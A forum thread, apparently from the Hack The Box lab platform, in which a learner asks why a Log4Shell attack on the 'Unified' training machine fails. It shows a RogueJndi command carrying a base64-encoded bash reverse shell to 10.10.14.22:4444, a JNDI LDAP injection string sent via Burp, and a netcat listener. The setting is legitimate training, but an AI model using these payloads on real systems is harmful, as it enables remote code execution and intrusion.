Unified- starting point level 2

Hello All!

Looking for some help :).

I have trouble connecting my reverse shell on unified.

Please let me know if you came around the same problem.

Below my steps:

The server is listening on port 1389 and I started a netcat listener on port 4444.

java -jar target/RogueJndi-1.1.jar --command “bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMjIvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}” --hostname “10.10.14.22”
±±±±±±±±±+
|R|o|g|u|e|J|n|d|i|
±±±±±±±±±+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://10.10.14.22:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://10.10.14.22:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://10.10.14.22:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://10.10.14.22:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://10.10.14.22:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://10.10.14.22:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://10.10.14.22:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Mapping ldap://10.10.14.22:1389/o=tomcat to artsploit.controllers.Tomcat
java.lang.NullPointerException
at artsploit.LdapServer.processSearchResult(LdapServer.java:85)
at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)
^[c

2/ I send the following payload from burp:

${jndi:ldap://10.10.14.22:1389/0=tomcat}

3/ The listener doesn’t pick up the connection.

─[eu-starting-point-vip-1-dhcp]─[10.10.14.22]─[yanfrance@htb-fismdljavx]─[~]
└──╼ [★]$ nc -nlvp 4444
Ncat: Version 7.93 ( Ncat - Netcat for the 21st Century )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

Not sure what I am doing wrong.

Thanks for the help,

send the java command in 1 line…otherwise it just runs the first line and not the 2nd and 3rd.
did that help ?

Thanks Derek! It worked a treat! Machine completed :slight_smile: